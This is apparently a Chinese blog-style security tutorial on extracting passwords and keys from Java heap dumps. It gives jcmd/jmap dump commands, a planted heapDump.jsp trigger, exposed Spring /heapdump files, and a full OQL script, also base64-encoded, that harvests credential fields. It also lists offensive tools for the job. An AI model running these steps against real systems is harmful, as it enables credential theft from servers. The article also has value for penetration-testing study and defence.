如果重要的数据(保存在内存中)在使用后没有及时清理,有可能会导致信息泄漏。开发人员通常都回用String 保存敏感数据(密码,卡号等)。因为String 对象是不可变的,只有 JVM 的垃圾回收器才能从内存中清除String的值。而只有内存不足的时候虚拟机才会执行垃圾回收,所以我们不能保证垃圾回收什么时候进行。当系统崩溃后,memory dump 可能会泄漏敏感数据。
1、获取JVMHeapDump
内存转储执行的过程中为了保证dump的信息是可靠的,所以会暂停应用 , 线上系统慎用 。 JVM会将整个heap的信息dump写入到一个文件,heap如果比较大的话,就会导致这个过程比较耗时,如果要转储千兆字节大小的堆,则暂停时间以分钟 而不是秒 为单位。
1 2 3 jcmd 5760 [PID] GC.heap_dump /tmp/ dumpHeap.hprof 此转储过程比使用jmap进行转储要快得多!转储文件要小得多,但足以让您知道泄漏的位置。
1 2 3 4 >jmap -dump :live,format=b,file =/tmp/ dumpHeap.hprof 5760 #live Object >jmap -dump :format=b,file =/tmp/ dumpHeap.hprof 19770 # all Object 不建议 如果使用"-dump" ,则将转储整个堆,包括不可达的对象。如果使用"-dump:live" ,则只会转储可访问的对象,但这(至少)需要标记堆以找出可访问的对象。
2、工具 JavaPassDump 工具:https://github.com/corener/JavaPassDump
所有在Java层的数据库连接,最终都会维持一个DB Driver Object,其中会保留数据库的连接配置。 思路一:基于经验的,匹配所有DB Driver,从内存中找到Driver Object,获取username/password字段 ; 思路二:绝大部分的配置信息,在内存中,都是String类型的field字段,直接从内存中提取password字段的field值。两种思路的前提都是能够分析内存,尝试直接分析运行时内存,从中提取配置信息,无奈坑点太多,遂转入dump JVMHeap,直接通过OQL语言进行分析。 实战中,DumpJVNHeap大小从几M~几G左右不等,拉到本地分析不太现实,直接在线上分析拿到分析结果就行。这样,在流量层面,效率方面,更优化。为了更简单通用,采用思路二,直接提取password字段的值。
根据线上JDK环境,适配对应的jar,
OQLQuery7-.jar 适配JDK<=7
OQLQuery8+.jar 适配JDK>=8
除了线上环境,OQLQuery.jar也可以用在本地分析JvmHeapDump.hprof文件,例如:Spring的/heapdump接口,产生的dump文件,利用对应的OQL语句,也可以提取出密码参数 。
1 2 3 4 5 ## 放置于webServer的web路径下,访问时,dump当前JVM的heap到/tmp目录,windows系统,需要修改路径 >heapDump.jsp ## 分析JVMHeap文件 结尾为oql语句 base64 编码java -jar ./OQLQuery.jar /tmp/dumpHeap.hprof dmFyIGZpbHRlciA9 IHt9 OwptYXAoaGVhcC5 jbGFzc2 VzKCksIGZ1 bmN0 aW9 uIChjbHMpIHsKICAgcmV0 dXJuIG1 hcChjbHMuZmllbGRzLCBmdW5 jdGlvbiAoZmllbGQpIHsgCiAgICAgIGlmKCBmaWVsZC5 uYW1 lLnRvU3 RyaW5 nKCkuY29 udGFpbnMoInBhc3 MiKSB8 fCBmaWVsZC5 uYW1 lLnRvU3 RyaW5 nKCkuY29 udGFpbnMoInVzZXJuYW1 lIikgfHxmaWVsZC5 uYW1 lLnRvU3 RyaW5 nKCkuY29 udGFpbnMoIlBBU1 MiKSl7 CiAgICAgICAgcmV0 dXJuIG1 hcChoZWFwLm9 iamVjdHMoY2 xzKSwgZnVuY3 Rpb24 gKG9 icykgewogICAgICAgICAgdmFyIHRhZyA9 IGNscy5 uYW1 lKyJ8 IitmaWVsZC5 uYW1 lIDsKICAgICAgICAgIHZhciByZXMgPSAgImNsYXNzIDogIitjbHMubmFtZSsiXG4 gRmllbGQgWyAiK2 ZpZWxkLm5 hbWUudG9 TdHJpbmcoKSsiIDogIjsKICAgICAgICAgIGlmKCBvYnNbZmllbGQubmFtZS50 b1 N0 cmluZygpXSAhPSBudWxsICl7 CiAgICAgICAgICAgIHJlcyA9 IHJlcyArIG9 ic1 tmaWVsZC5 uYW1 lLnRvU3 RyaW5 nKCldLnRvU3 RyaW5 nKCkrIiBdXG4 iOwogICAgICAgICAgfWVsc2 V7 CiAgICAgICAgICAgIHJlcyA9 IHJlcyArICJudWxsIF1 cbiI7 CiAgICAgICAgICB9 CiAgICAgICAgICBpZiAoZmlsdGVyW3 RhZ10 gPT0 gbnVsbCkgewogICAgICAgICAgICBmaWx0 ZXJbdGFnXSA9 IHJlczsKICAgICAgICAgICAgcHJpbnQocmVzKTsKICAgICAgICAgIH0 KICAgICAgICAgIHJldHVybiBudWxsOwogICAgICAgIH0 pOwogICAgICB9 CiAgICAgIHJldHVybiBudWxsOwogIH0 pOwp9 KTs=
oql语句
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 var filter = {}; map (heap.classes(), function (cls) { return map (cls.fields, function (field) { if ( field.name .toString().contains ("pass" ) || field.name .toString().contains ("username" ) ||field.name .toString().contains ("PASS" )||field.name .toString().contains ("key" )||field.name .toString().contains ("KEY" )||field.name .toString().contains ("key" )){ return map (heap.objects(cls), function (obs) { var tag = cls.name +"|" +field.name ; var res = "class : " +cls.name +"\n Field [ " +field.name .toString()+" : " ; if ( obs[field.name .toString()] != null ){ res = res + obs[field.name .toString()].toString()+" ]\n" ; }else { res = res + "null ]\n" ; } if (filter [tag] == null) { filter [tag] = res; print(res); } return null; }); } return null; }); }); dmFyIGZpbHRlciA9IHt9OwptYXAoaGVhcC5jbGFzc2VzKCksIGZ1bmN0aW9uIChjbHMpIHsKICAgcmV0dXJuIG1hcChjbHMuZmllbGRzLCBmdW5jdGlvbiAoZmllbGQpIHsgCiAgICAgIGlmKCBmaWVsZC5uYW1lLnRvU3RyaW5nKCkuY29udGFpbnMoInBhc3MiKSB8fCBmaWVsZC5uYW1lLnRvU3RyaW5nKCkuY29udGFpbnMoInVzZXJuYW1lIikgfHxmaWVsZC5uYW1lLnRvU3RyaW5nKCkuY29udGFpbnMoIlBBU1MiKXx8ZmllbGQubmFtZS50b1N0cmluZygpLmNvbnRhaW5zKCJrZXkiKXx8ZmllbGQubmFtZS50b1N0cmluZygpLmNvbnRhaW5zKCJLRVkiKXx8ZmllbGQubmFtZS50b1N0cmluZygpLmNvbnRhaW5zKCJrZXkiKSl7CiAgICAgICAgcmV0dXJuIG1hcChoZWFwLm9iamVjdHMoY2xzKSwgZnVuY3Rpb24gKG9icykgewogICAgICAgICAgdmFyIHRhZyA9IGNscy5uYW1lKyJ8IitmaWVsZC5uYW1lIDsKICAgICAgICAgIHZhciByZXMgPSAgImNsYXNzIDogIitjbHMubmFtZSsiXG4gRmllbGQgWyAiK2ZpZWxkLm5hbWUudG9TdHJpbmcoKSsiIDogIjsKICAgICAgICAgIGlmKCBvYnNbZmllbGQubmFtZS50b1N0cmluZygpXSAhPSBudWxsICl7CiAgICAgICAgICAgIHJlcyA9IHJlcyArIG9ic1tmaWVsZC5uYW1lLnRvU3RyaW5nKCldLnRvU3RyaW5nKCkrIiBdXG4iOwogICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgIHJlcyA9IHJlcyArICJudWxsIF1cbiI7CiAgICAgICAgICB9CiAgICAgICAgICBpZiAoZmlsdGVyW3RhZ10gPT0gbnVsbCkgewogICAgICAgICAgICBmaWx0ZXJbdGFnXSA9IHJlczsKICAgICAgICAgICAgcHJpbnQocmVzKTsKICAgICAgICAgIH0KICAgICAgICAgIHJldHVybiBudWxsOwogICAgICAgIH0pOwogICAgICB9CiAgICAgIHJldHVybiBudWxsOwogIH0pOwp9KTs=
该工具是基于jhat,通过jhat解析heapdump文件,所以需要安装jdk和配置好环境变量,例如win \Java\jdk8\bin\jhat.exe, 在控制台输入jhat检查是否安装正确。
https://toolaffix.oss-cn-beijing.aliyuncs.com/wyzxxz/20220720/heapdump_tool.jar
1 2 3 4 5 6 7 8 9 10 usage:> java -jar heapdump_tool.jar heapdump 查询方式: 1. 关键词 例如 password 2. 字符长度 len=10 获取长度为10 的所有key或者value值3. 按顺序获取 num=1 -100 获取顺序1 -100 的字符获取url,file,ip geturl 获取所有字符串中的url getfile 获取所有字符串中的文件路径文件名 getip 获取所有字符串中的ip 默认不输出查询结果非key-value格式的数据,需要获取所有值,输入all=true ,all=false 取消显示所有值。
JDumpSpider
本工具需要使用 Oracle JDK 1.8 版本(更高版本将导致异常)。
1 2 3 4 5 6 7 $ java -jar .\target\JDumpSpider-1.0 -SNAPSHOT-full.jar Missing required parameter: '<heapfile>' Usage: JDumpSpider [-hV] <heapfile> Extract sensitive information from heapdump file. <heapfile> Heap file path. -h, --help Show this help message and exit . -V, --version Print version information and exit .